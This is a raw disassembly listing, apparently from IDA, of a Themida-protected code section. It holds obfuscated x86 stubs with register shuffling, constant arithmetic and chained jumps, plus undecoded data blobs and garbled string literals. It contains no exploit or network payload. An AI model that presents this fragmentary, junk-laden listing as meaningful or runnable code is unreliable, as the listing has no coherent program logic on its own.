; ---------------------------------------------------------------------------
		db 5Ah,	66h, 59h
		dd 6804EBC0h, 1747h, 0B6241489h, 68DEF6F9h, 3169h, 0B0240489h
		dd 24D8F613h, 0FEBD0CB9h, 8A6CE9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5571BA:				; CODE XREF: Themida_:005555E6j
		xchg	ecx, [esp]
		jmp	loc_5638A5
; ---------------------------------------------------------------------------
		dw 431h
		dd 0F0E99C24h, 89FFFFB9h, 51E92404h, 660000C1h,	68D7E981h
		dd 0DBC18166h, 0F181660Ch, 166C87Ah, 8BF1E9CDh,	0EB830000h
		dd 0D9E3E901h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5571F2:				; CODE XREF: Themida_:00557C59j
		xor	edi, 1FE6D40h
		add	ebx, edi
		pop	edi
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_555824
; ---------------------------------------------------------------------------


loc_557210:				; CODE XREF: Themida_:00552C0Aj
		sub	cl, 0D1h
		push	eax
		mov	ah, 30h
		sub	cl, ah
		pop	eax
		pop	bx
		push	ebx
		mov	bl, 0DBh
		xor	bl, 21h
		sub	bl, 6Dh
		sub	al, bl
		pop	ebx
		jmp	loc_5680B8
; ---------------------------------------------------------------------------
dword_55722C	dd 9D1C77FFh, 1CD25966h, 80E99C24h ; DATA XREF:	Themida_:00552974o
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55723B:				; CODE XREF: Themida_:0055B4FCj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_5673B9
; ---------------------------------------------------------------------------


loc_55724A:				; CODE XREF: Themida_:005611EBj
		pop	edi
		jmp	loc_565FD5
; ---------------------------------------------------------------------------
dword_557250	dd 0E932FF66h, 0FFFFB963h ; DATA XREF: Themida_:005529F4o
; ---------------------------------------------------------------------------


loc_557258:				; CODE XREF: Themida_:0055E05Fj
		shl	edx, 1
		push	6721h
		mov	[esp], esi
		jmp	loc_5632E3
; ---------------------------------------------------------------------------
		db 1
		dd 0CEEA81C2h, 580FBD6Dh, 31241433h, 25E92414h
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55727B:				; CODE XREF: Themida_:0055CE37j
		pop	edx
		add	eax, 22376107h
		push	esi
		mov	esi, 3B200E8Eh
		shr	esi, 8
		xor	esi, 73BF2226h
		not	esi
		shr	esi, 2
		xor	esi, 1DE3A744h
		sub	eax, esi
		pop	esi
		add	eax, 6BE7067Eh
		sub	eax, ebx
		sub	eax, 6BE7067Eh
		add	eax, 3EFD5831h
		sub	eax, 22376107h
		pop	ebx
		push	edi
		jmp	loc_560640
; ---------------------------------------------------------------------------
		db 89h
		dd 5BD889D3h, 2444015Ah, 2434FF04h, 8324048Bh, 0E95004C4h
		dd 7A4h
; ---------------------------------------------------------------------------


loc_5572D4:				; CODE XREF: Themida_:005562C1j
		push	ecx
		push	ebx
		jmp	loc_553B2A
; ---------------------------------------------------------------------------


loc_5572DB:				; CODE XREF: Themida_:0055DDA5j
		sub	ah, bl
		pop	ebx
		and	ah, 2Ch
		push	dx
		mov	dh, 0F6h
		xor	ah, dh
		jmp	loc_562300
; ---------------------------------------------------------------------------
		dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 348B5456h, 0C72E924h
		dd 0BBBF0001h, 29628263h, 7F0FE9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557312:				; CODE XREF: Themida_:00557000j
		pop	ebp
		add	ecx, edx
		mov	edx, [esp]
		push	ebp
		jmp	loc_55BA94
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 32B3E904h, 0F3810000h, 4CE39615h, 815BDF89h,	0DB3981C7h
		dd 81DF016Eh, 0DB3981EFh, 0F8315B6Eh, 815EE9h
		db 0
; ---------------------------------------------------------------------------


loc_557345:				; CODE XREF: Themida_:00560164j
		push	6462h
		mov	[esp], ebp
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5664D4
; ---------------------------------------------------------------------------


loc_557365:				; CODE XREF: Themida_:0055B065j
		add	esp, 4
		not	ebx
		jmp	loc_55B4D8
; ---------------------------------------------------------------------------
		dw 0C31h
		dd 240C3324h, 8F24248Bh, 0B8E92404h, 8100004Ch,	0C804246Ch
		dd 0FF2D765Ch, 815D2434h, 4C4h,	3414E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55739A:				; CODE XREF: Themida_:00559EACj
		sub	esi, edx
		jmp	loc_566A92
; ---------------------------------------------------------------------------


loc_5573A1:				; CODE XREF: Themida_:0055BB19j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	0A044E45h
		pop	eax
		sub	eax, 68422F9Eh
		neg	eax
		jmp	loc_55983C
; ---------------------------------------------------------------------------


loc_5573BA:				; CODE XREF: Themida_:005682D7j
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 35h
		jmp	loc_561A5D
; ---------------------------------------------------------------------------
aOsvx		db 'OИV∙',0
		align 10h
		dd 2124248Bh, 0E99C2404h, 0FFFFB7DFh, 4BBh, 0E9D82900h
		dd 0FFFFEACAh, 73BD5552h, 17ECE49h, 0E904246Ch,	58EBh
; ---------------------------------------------------------------------------


loc_5573F8:				; CODE XREF: Themida_:00561EE6j
		pop	eax
		dec	esi
		shr	esi, 7
		inc	esi
		not	esi
		jmp	loc_559E3B
; ---------------------------------------------------------------------------
aZsG		db 'ZИшg',0
		dw 6800h
		dd 7F836B86h, 3E2C15Ah,	0E2D1DAF7h, 6806EAC1h, 196Eh, 0E9243C89h
		dd 0F308h
; ---------------------------------------------------------------------------


loc_557428:				; CODE XREF: Themida_:00567666j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	449h
		jmp	loc_55BC2A
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 81000000h, 4C3h, 241C8700h, 2236E9h
		db 0
; ---------------------------------------------------------------------------


loc_55744D:				; CODE XREF: Themida_:0055E0FCj
		mov	[esp], ebx
		push	ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 71684D30h
		jmp	loc_55DF36
; ---------------------------------------------------------------------------
		dd 1E10C781h, 0C7817F74h, 68D00157h, 0AAADE95Eh, 148B0000h
		dd 9EDAE924h, 815A0000h, 4C2h, 4C28100h, 33000000h, 14312414h
		dd 49FCE924h, 0C4830000h, 4EC8104h, 89000000h, 74FF2414h
		dd 40E90424h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5574AB:				; CODE XREF: Themida_:00567B17j
		xchg	ebx, [esp]
		jmp	loc_561413
; ---------------------------------------------------------------------------
		db 66h
		dd 2414F650h, 0D0F65866h, 8850E9h
		db 0
; ---------------------------------------------------------------------------


loc_5574C1:				; CODE XREF: Themida_:00556427j
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edi
		mov	edi, 4
		sub	ebx, edi
		jmp	loc_553AD4
; ---------------------------------------------------------------------------


loc_5574DC:				; CODE XREF: Themida_:00560DB9j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5538D8
; ---------------------------------------------------------------------------
		align 2
		dw 80CFh
		dd 8859F5C7h, 0EC835BFEh, 0C896602h, 2C31B524h,	0E9E82877h
		dd 7AA6h, 0CE80CEFEh, 80DEF64Bh, 0AEE9E2C6h
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55750F:				; CODE XREF: Themida_:0056507Dj
		add	edx, edi
		mov	edi, [esp]
		jmp	loc_55E13D
; ---------------------------------------------------------------------------
aH?d_zbYogjSa	db 'h=?D.Z│йyogjяЙИМт',0
		align 4
		dd 5E08950h, 4,	8704C083h, 555C2404h, 242C8B54h, 0E904C483h
		dd 1052Ch
; ---------------------------------------------------------------------------


loc_557548:				; CODE XREF: Themida_:00558AC5j
		pop	edi
		push	ecx
		jmp	loc_565D10
; ---------------------------------------------------------------------------
		db 0BDh
		dd 534C0859h, 4503E5C1h, 33E9D5F7h, 81000057h, 0D06E7AEBh
		dd 68515547h, 3F377BC7h, 0B197E959h
		db 2 dup(0)
word_557572	dw 77FFh		; DATA XREF: Themida_:00552920o
		dd 58669D1Ch, 24041966h, 32DFE99Ch, 55570000h, 1F0BBB53h
		dd 6FE91472h, 5E0000E9h, 0DA5BEF81h, 0F801F7D7h, 3DE9535Fh
		dd 89FFFFFEh, 2C872434h, 87D5F724h, 348B242Ch, 4C48124h
		dd 0E9000000h, 0F51Bh, 73D4CF81h, 0EF812B60h, 3E5825A4h
		dd 728ECF81h, 0E95031DEh, 22A9h, 0A28FE95Ah, 31590000h
		dd 0CA875FFAh, 8322E9h,	4C48300h, 34FFC301h, 0C4835824h
		dd 0FFDD0104h, 835B2434h, 2C8704C4h, 0F665C24h,	5E68C8B6h
		dd 8900004Fh, 0E9542434h, 0EF24h, 3325AEB8h, 58C78901h
		dd 815FFE31h, 665EF0C6h, 3D39E951h, 8B660000h, 0C481240Ch
		dd 2, 5166D800h, 0E8284EB5h, 2E95966h, 0F7FFFFF4h, 31D987D3h
		dd 0BA8EE9CDh, 248BFFFFh, 48B6624h, 4F116824h, 34890000h
		dd 52E68924h, 0F574E954h, 0E789FFFFh, 87CAE9h, 2434FF00h
		dd 8B2434FFh, 8956240Ch, 4C681E6h, 83000000h, 348704C6h
		dd 0C4815C24h, 4, 2D4A68h, 240C8900h, 181868h, 24248900h
		dd 4BF57h, 7C010000h, 8B5F0424h, 0C481240Ch, 4,	7BDA68h
		dd 241C8900h, 2C5FD9BBh, 41F3813Dh, 0E917507Ah,	0F25Dh
; ---------------------------------------------------------------------------


loc_5576C0:				; CODE XREF: Themida_:0055A5BEj
		neg	edi
		neg	edi
		jmp	loc_55FEBB
; ---------------------------------------------------------------------------


loc_5576C9:				; CODE XREF: Themida_:00556825j
		mov	[esp], ax
		dec	byte ptr [esp]
		pop	ax
		xor	al, 17h
		add	bl, al
		jmp	loc_5636B5
; ---------------------------------------------------------------------------


loc_5576DB:				; CODE XREF: Themida_:005566E3j
		add	esi, 4
		jmp	loc_5551F9
; ---------------------------------------------------------------------------


loc_5576E3:				; CODE XREF: Themida_:00559E93j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_556F3F
; ---------------------------------------------------------------------------
aXh		db 'Xhц=',0
		dw 8900h
		dd 7CBD242Ch, 8119E00Fh, 0C076F5CDh, 42EAE952h
		db 2 dup(0)
word_55770A	dw 51ADh		; DATA XREF: Themida_:00552A64o
		dd 113346B9h, 69E94156h, 57FFFFB9h, 102B3E9h
		db 0
; ---------------------------------------------------------------------------


loc_55771D:				; CODE XREF: Themida_:005589E6j
		mov	ebx, 520E4F4Fh
		jmp	loc_556171
; ---------------------------------------------------------------------------
byte_557727	db 66h			; DATA XREF: Themida_:00552A88o
		dd 0E9240C8Bh, 3C1Dh
; ---------------------------------------------------------------------------


loc_557730:				; CODE XREF: Themida_:00565B0Dj
		push	5C5D16ABh
		pop	ebp
		push	edi
		jmp	loc_55C341
; ---------------------------------------------------------------------------
		dd 5604C483h, 4BEh, 5EF10100h, 0E88E9h
		db 0
; ---------------------------------------------------------------------------


loc_55774D:				; CODE XREF: Themida_:00565B8Ej
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_564208
; ---------------------------------------------------------------------------


loc_55775D:				; CODE XREF: Themida_:00567629j
		xor	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_556F4A
; ---------------------------------------------------------------------------
aSiusZ		db 'S┴ЦИ,┤',0
		db 0
; ---------------------------------------------------------------------------


loc_557775:				; CODE XREF: Themida_:0056460Bj
		push	ebx
		mov	ebx, 7D121B31h
		mov	edi, 444D6A5Ah
		jmp	loc_561793
; ---------------------------------------------------------------------------


loc_557785:				; CODE XREF: Themida_:005609F1j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_555DEF
; ---------------------------------------------------------------------------
aXs		db 'XИ%ъ',0
		align 2
aHs		db 'hS;',0              ; DATA XREF: Themida_:00552B1Co
		dw 0E900h
		dd 0FFFFBC64h, 0B859CA89h, 3FEA3DE5h, 0C4E9D031h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5577B3:				; CODE XREF: Themida_:0056687Dj
		push	ebx
		push	esi
		jmp	loc_5597B5
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 243C8904h, 0D0321FBFh, 246C817Dh, 32484208h,	247C2956h
		dd 24448108h, 32484208h, 9BAAE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5577DE:				; CODE XREF: Themida_:00562A83j
		sub	eax, ebp
		pop	ebp
		jmp	loc_565810
; ---------------------------------------------------------------------------
		dw 0FBDh
		dd 0BF60277Ah, 0E95E4B1h, 2C8BEF01h, 4C48124h, 89000000h
		dd 0E9565FFAh, 7994h, 0BA241489h, 907B3Dh, 1169BD55h, 0EA810267h
		dd 71D41630h, 0C281EA29h, 71D41630h, 87CA875Dh,	87D7F7F9h
		dd 639268F9h, 14890000h, 595A5124h, 6308BE56h, 0F22168E7h
		dd 0BF25E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557842:				; CODE XREF: Themida_:0056063Bj
		pop	esp
		mov	[esp], edx
		push	ebp
		jmp	loc_56362D
; ---------------------------------------------------------------------------
a_skx		db '_ИKX',0
		align 2


loc_557852:				; CODE XREF: Themida_:005554EDj
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		shr	eax, 8
		xor	eax, ecx
		push	edx
		mov	edx, esp
		jmp	loc_5664F3
; ---------------------------------------------------------------------------
		dw 0CB68h
		dd 89000028h, 0F3E9243Ch, 55000006h, 0E5442B68h, 6D6EE96Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557886:				; CODE XREF: Themida_:00563F28j
		mov	[esp], edi
		jmp	loc_5610A3
; ---------------------------------------------------------------------------
aSr		db ')йИrъ',0
		dd 24548600h, 14F65201h, 54865A24h, 48B0124h, 4C48124h
		dd 83000000h, 896602ECh, 22B1240Ch, 5966CC30h, 88E38853h
		dd 395BE9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5578C2:				; CODE XREF: Themida_:0055F682j
		mov	edx, 49D60FBAh
		and	edx, 66E737CCh
		or	edx, 4B7F02ADh
		push	esi
		mov	esi, 0FD91D4C4h
		sub	edx, esi
		pop	esi
		sub	edi, edx
		mov	edx, [esp]
		add	esp, 4
		neg	edi
		xor	edi, 6CB7F3F8h
		xor	eax, edi
		pop	edi
		sub	eax, 0F9D6CC74h
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		shr	ecx, 7
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	5E5Ch
		mov	[esp], ebx
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 751220DCh
		push	edx
		mov	edx, 438D614Ah
		and	edx, 5E5622B5h
		not	edx
		jmp	loc_55EAB0
; ---------------------------------------------------------------------------
		db 81h
		dd 0D66664EAh, 53CA014Bh, 0EE6EC9BBh, 0E9D3F738h, 8C8Bh
		dd 0E904C483h, 0FFFFB25Fh, 0E95EF501h, 584Bh, 4C481h, 29660000h
		dd 1656E9E8h, 0E7810000h, 92D00EDh, 0E0E95150h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55797F:				; CODE XREF: Themida_:00560F18j
		push	eax
		mov	eax, 449F5AF0h
		jmp	loc_55F844
; ---------------------------------------------------------------------------


loc_55798A:				; CODE XREF: Themida_:005647BEj
		sub	esp, 4
		jmp	loc_55A6C4
; ---------------------------------------------------------------------------


loc_557992:				; CODE XREF: Themida_:005548B8j
		mov	edx, 27A16F28h
		xor	edx, 3E057BD7h
		jmp	loc_5652FF
; ---------------------------------------------------------------------------
word_5579A2	dw 28Fh			; DATA XREF: Themida_:00552980o
		dd 0A583E9h, 0C6C68100h, 1265F4Bh, 0C6EE81FEh, 5F265F4Bh
		dd 3304C683h, 38E92434h
		db 0E6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5579C3:				; CODE XREF: Themida_:0055857Cj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		mov	esi, 972074Dh
		sub	esi, 67DE0B5Dh
		and	esi, 3D81450Ah
		not	esi
		add	esi, 0C552EAB2h
		mov	edi, esi
		pop	esi
		push	eax
		jmp	loc_5590AF
; ---------------------------------------------------------------------------


loc_5579F6:				; CODE XREF: Themida_:005592E9j
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_55D808
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 2C381h, 1C330000h, 241C3124h, 5C241C33h, 93CCE9h
		db 0
; ---------------------------------------------------------------------------


loc_557A19:				; CODE XREF: Themida_:00560112j
		push	eax
		jmp	loc_55AA7A
; ---------------------------------------------------------------------------
byte_557A1F	db 66h			; DATA XREF: Themida_:00552A00o
		dd 68240C8Bh, 3C96h, 83243489h,	0E86804ECh, 89000004h
		dd 4812424h, 424h, 24048F00h, 4240481h,	8B000000h, 54532434h
		dd 1F23E95Bh, 0BE0D0000h, 3507DC70h, 3CDBED62h,	495D68h
		dd 24148900h, 0E456E951h, 0EC810000h, 4, 0E9241C89h, 0C645h
		dd 0BE56E089h, 4, 0EB7C012Dh, 5F0014Ch,	4CEB7C01h, 68E9555Eh
		dd 33FFFFD4h, 0C31240Ch, 240C3324h, 240CFF5Ch, 0B115E99Ch
		dd 420FFFFh, 0CE99C24h,	5AFFFFB1h, 4BB53h, 0DA010000h
		dd 83BD555Bh, 0E9089C4Eh, 2D68h
; ---------------------------------------------------------------------------


loc_557AC4:				; CODE XREF: Themida_:0055B724j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55B072
; ---------------------------------------------------------------------------
		dw 8145h
		dd 823218F5h, 9452E917h, 8FB60000h, 7695E9h
		db 0
; ---------------------------------------------------------------------------


loc_557AE5:				; CODE XREF: Themida_:00561A65j
		dec	ch
		sub	esp, 4
		jmp	loc_56780A
; ---------------------------------------------------------------------------


loc_557AEF:				; CODE XREF: Themida_:00559251j
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_553BD5
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFFFE60h
; ---------------------------------------------------------------------------


loc_557B04:				; CODE XREF: Themida_:005660ACj
		pop	edx
		jmp	loc_55662C
; ---------------------------------------------------------------------------
		dw 4566h
		dd 2DED6866h, 1A4DE9h
		db 0
; ---------------------------------------------------------------------------


loc_557B15:				; CODE XREF: Themida_:005640EDj
		and	eax, esi
		mov	esi, [esp]
		push	ebp
		jmp	loc_5640D2
; ---------------------------------------------------------------------------


loc_557B20:				; CODE XREF: Themida_:0055AFE4j
		dec	ebp
		shl	ebp, 2
		shl	ebp, 5
		neg	ebp
		or	ebp, 21AA5585h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 25E97D86h
		jmp	loc_565B12
; ---------------------------------------------------------------------------
		db 0FFh
a4Ritshe	db '4$]R┴БИHE',0
		dw 8300h
		dd 148904ECh, 4BA24h, 0B9510000h, 1DEE7EDFh, 0FFFFE981h
		dd 44E9FFFFh
		db 0D3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_557B67:				; CODE XREF: Themida_:005680BCj
		sub	al, cl
		add	al, 8Dh
		push	ecx
		mov	cl, 0A1h
		add	al, cl
		pop	ecx
		add	al, 8Dh
		mov	ecx, [esp]
		add	esp, 4
		sub	al, 2Eh
		jmp	loc_55DE3A
; ---------------------------------------------------------------------------


loc_557B83:				; CODE XREF: Themida_:00563C7Aj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_555C1D
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 0E9000000h, 0FFFFD818h, 84E9CF01h, 0FF00004Bh, 81592434h
		dd 4C4h, 63C78100h, 1109D05h, 63BE56EFh, 55109D05h, 0BF3E9h
		dd 0E6895600h, 0A663E9h, 0E9E92900h, 8FCBh
dword_557BCC	dd 24048B66h, 74A268h, 240C8900h, 0EC67E9h ; DATA XREF:	Themida_:00552A90o
		db 0
; ---------------------------------------------------------------------------


loc_557BDD:				; CODE XREF: Themida_:00561468j
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	edi, 70251F65h
		add	edi, eax
		jmp	loc_568245
; ---------------------------------------------------------------------------


loc_557BF5:				; CODE XREF: Themida_:00553399j
		add	esp, 4
		push	ecx
		mov	ch, 7Bh
		jmp	loc_556130
; ---------------------------------------------------------------------------


loc_557C00:				; CODE XREF: Themida_:0055B47Dj
		sub	[edi+24h], edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4


loc_557C12:				; CODE XREF: Themida_:0055E630j
		push	edi
		push	ebx
		push	ecx
		mov	ecx, 12C409C4h
		jmp	loc_561445
; ---------------------------------------------------------------------------


loc_557C1F:				; CODE XREF: Themida_:00560354j
		pop	esi
		add	ecx, eax
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		pop	bx
		push	ebx
		mov	bh, 17h
		shl	bh, 5
		and	bh, 0FBh
		xor	bh, 0E1h
		jmp	loc_55EE29
; ---------------------------------------------------------------------------


loc_557C40:				; CODE XREF: Themida_:0055C055j
		push	edx
		mov	edx, 79BF376Dh
		sub	edx, 4590087Eh
		shr	edx, 2
		sub	edx, 0AB5AA80Eh
		xor	edi, edx
		pop	edx
		dec	edi
		jmp	loc_5571F2
; ---------------------------------------------------------------------------


loc_557C5E:				; CODE XREF: Themida_:00565311j
		sub	edi, edx
		jmp	loc_5659AF
; ---------------------------------------------------------------------------
		db 0BDh, 0Ah, 77h
		dd 0C531108Ch, 0FFEA0158h, 815D2434h, 4C4h, 6B4B6800h
		dd 0C890000h, 4E48B924h, 0E98119E5h, 4126212Fh,	761CE9h
		db 0
; ---------------------------------------------------------------------------


loc_557C91:				; CODE XREF: Themida_:00563931j
		neg	eax
		push	esi
		mov	esi, 5CD8BC5Eh
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebp, eax
		pop	eax
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_55E62E
; ---------------------------------------------------------------------------
		db 5Ah
		dd 6658E500h, 664C0368h, 0B0240489h, 0B6B8E972h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557CD2:				; CODE XREF: Themida_:005658ADj
		sub	edx, 42A662ACh
		and	edx, 51EF6EC4h
		jmp	loc_5585C7
; ---------------------------------------------------------------------------


loc_557CE3:				; CODE XREF: Themida_:0055E0C9j
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_55C48F
; ---------------------------------------------------------------------------


loc_557CF7:				; CODE XREF: Themida_:00563EA6j
		not	ebx
		push	ebp
		push	ebx
		pop	ebp
		pop	ebx
		sub	ebp, 0FFFFFFFFh
		push	edx
		mov	edx, 283A008Fh
		not	edx
		xor	edx, 2AE21446h
		dec	edx
		and	edx, 268B3FE4h
		shl	edx, 7
		sub	edx, 2801BDF2h
		sub	ebp, edx
		pop	edx
		and	eax, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		add	ebx, esi
		jmp	loc_566658
; ---------------------------------------------------------------------------
		dd 50241C8Bh, 0E952E089h, 3C45h
dword_557D4C	dd 9D1C77FFh, 14D25966h, 60E99C24h ; DATA XREF:	Themida_:005529DCo
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557D5B:				; CODE XREF: Themida_:00559ABAj
		push	4F22h
		mov	[esp], edx
		push	638Ah
		mov	[esp], ecx
		jmp	loc_55FB9A
; ---------------------------------------------------------------------------


loc_557D70:				; CODE XREF: Themida_:0055C4E2j
		mov	[ebx], eax
		pop	ebx
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_566CAD
; ---------------------------------------------------------------------------


loc_557D82:				; CODE XREF: Themida_:0055D735j
		pop	ebp
		jmp	loc_5670CB
; ---------------------------------------------------------------------------
		dd 65C18058h, 803FB252h, 0C1803EEAh, 0E9D1281Dh, 0D999h
		dd 815EF031h, 4ECh, 24048900h, 4C73BF57h, 7C31376Ch, 21E90424h
		dd 2900004Eh, 5F0C247Ch, 8247401h, 8244481h, 2E7F7E0Fh
		dd 61CCE9h, 24048900h, 444250B8h, 380E0D51h, 0BF5727C8h
		dd 48F526FFh, 0E14CE9h,	7395BA00h, 0E2817581h, 55C17FFCh
		dd 7E2C142h, 33E0F281h,	0C2817E6Fh, 42BF3778h, 148BD129h
		dd 4C48324h, 1DB8C181h,	0CF01EF72h, 74FF5759h, 3C8B0424h
		dd 4C48124h, 8F000000h,	295C2404h, 0E3A9E9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557E2A:				; CODE XREF: Themida_:0055A1D5j
		mov	ebx, ecx
		pop	ecx
		add	[esp+8], ebx
		pop	ebx
		mov	eax, [esp]
		jmp	loc_553229
; ---------------------------------------------------------------------------


loc_557E3A:				; CODE XREF: Themida_:0055EE54j
		add	edx, 4
		jmp	loc_55AAFF
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 4B95100h, 1000000h, 1C8759CBh,	59E95C24h, 0BA000053h
		dd 0D4266F3h, 7586F281h, 0E281512Bh, 643412FBh,	6C1EA81h
		dd 0C28105ADh, 1, 33F28142h, 0E9610400h, 0F8F8h, 405h
		dd 20500h, 4870000h, 0EC815C24h, 4, 0FFC05DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557EA1:				; CODE XREF: Themida_:005615A2j
		add	eax, ecx
		jmp	loc_554D8D
; ---------------------------------------------------------------------------


loc_557EA8:				; CODE XREF: Themida_:00558449j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55F4DE
; ---------------------------------------------------------------------------
byte_557EB1	db 66h,	8Bh, 4		; DATA XREF: Themida_:00552AFCo
		dd 0E9545024h, 0F3F9h, 0E92434FFh, 0FFFFC1EBh, 0FFACF2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557EC9:				; CODE XREF: Themida_:0055F6F5j
		shl	ecx, 4
		not	ecx
		push	eax
		jmp	loc_557FEB
; ---------------------------------------------------------------------------
		dd 33241C31h, 26E9241Ch
		db 9Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557EDF:				; CODE XREF: Themida_:005616C5j
		add	edx, 0FFEEDF18h
		push	edx
		pop	ebx
		pop	edx
		push	ebp
		mov	ebp, 22AB700Bh
		sub	ebp, 7BF8260Dh
		shr	ebp, 8
		sub	ebp, 0B349AF9Bh
		jmp	loc_55C353
; ---------------------------------------------------------------------------
		dw 0B551h
		dd 3EC58072h, 0C580D5F6h, 0AD1BE940h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557F12:				; CODE XREF: Themida_:00560752j
		shl	ebx, 3
		jmp	loc_5655B1
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFFF89Ah
; ---------------------------------------------------------------------------


loc_557F20:				; CODE XREF: Themida_:00555241j
		pop	edx
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		mov	edi, 735B1C48h
		or	edi, 32B43A1Fh
		jmp	loc_55AE22
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
aSR		db '╟,ИгЮ',0
		db 0
; ---------------------------------------------------------------------------


loc_557F53:				; CODE XREF: Themida_:0055A71Cj
		push	7B93h
		jmp	loc_559627
; ---------------------------------------------------------------------------


loc_557F5D:				; CODE XREF: Themida_:0055BDA3j
		mov	eax, [esp]
		push	1235h
		mov	[esp], ecx
		push	esp
		jmp	loc_56136E
; ---------------------------------------------------------------------------
		dw 5F54h
		dd 4C781h, 0C7810000h, 4, 31243C33h, 77E9243Ch,	68000098h
		dd 71C0h, 68240489h, 678h, 83242489h, 58042404h, 7F61E9h
		dd 69CF6800h, 0C890000h, 48A0B924h, 91E947D9h, 100007Fh
		dd 68575BD8h, 4, 4374E95Fh, 0F660000h, 9C2404ABh, 58CDE9h
		dd 0DF295E00h, 0AC7E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557FD6:				; CODE XREF: Themida_:00559C5Dj
		push	ebp
		sub	esp, 4
		jmp	loc_55F4F0
; ---------------------------------------------------------------------------
		db 59h
		dd 1BD55h, 7FE90000h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557FEB:				; CODE XREF: Themida_:00557ECFj
		mov	eax, 6E15F1h
		xor	ecx, eax
		pop	eax
		add	ecx, 0E4DE7756h
		jmp	loc_553258
; ---------------------------------------------------------------------------


loc_557FFE:				; CODE XREF: Themida_:005616FCj
		mov	edx, ebx
		mov	[edi+20h], edx
		pop	edx
		jmp	loc_5680CF
; ---------------------------------------------------------------------------
aFbxFbIosrs	db 'f│Е╬[f│е┬oИrХ',0
		align 4
		dd 0BA52E589h, 325C04E0h, 3E9D2F7h, 890000F9h, 74B7241Ch
		dd 9DE9FD88h
		db 0E2h, 2 dup(0)
; ---------------------------------------------------------------------------


